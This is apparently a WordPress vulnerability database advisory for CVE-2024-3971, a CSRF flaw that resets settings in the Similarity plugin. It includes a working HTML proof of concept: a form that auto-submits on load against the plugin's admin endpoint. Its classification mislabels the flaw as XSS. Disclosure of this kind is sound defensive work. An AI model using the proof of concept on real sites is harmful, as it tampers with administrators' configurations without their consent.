Similarity <= 3.0 – Plugin Reset via CSRF | CVE 2024-3971 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when resetting its settings, which could allow attackers to make a logged in admin reset them via a CSRF attack

Proof of Concept

Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=similarity%2Fsimilarity.php" method="post">
        <input type="hidden" name="restore_defaults" value="Restore Defaults" />
        <input type="submit" value="Submit" />
    </form>
</body>
```

Affects Plugins

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Bob Matyas

Submitter

Bob Matyas

Submitter website

https://www.bobmatyas.com

Submitter twitter

Verified

Yes

WPVDB ID

5dec5719-105d-4989-a97f-bda04d223322

Timeline

Publicly Published

2024-05-24 (about 1 year ago)

Added

2024-05-24 (about 1 year ago)

Last Updated

2024-05-24 (about 1 year ago)

Other

Published

Title

Published

2025-12-05

Title

CSS3 Buttons <= 0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

Published

2024-02-27

Title

WP Shortcodes Plugin < 7.0.4 - Contributor+ Stored XSS

Published

2025-02-18

Title

XV Random Quotes <= 1.40 - Settings Reset via CSRF

Published

2014-08-01

Title

Events Manager 5.5.1 - Multiple Unspecified XSS Vulnerabilities

Published

2023-09-22

Title

Migration, Backup, Staging – WPvivid < 0.9.90 - Admin+ Stored XSS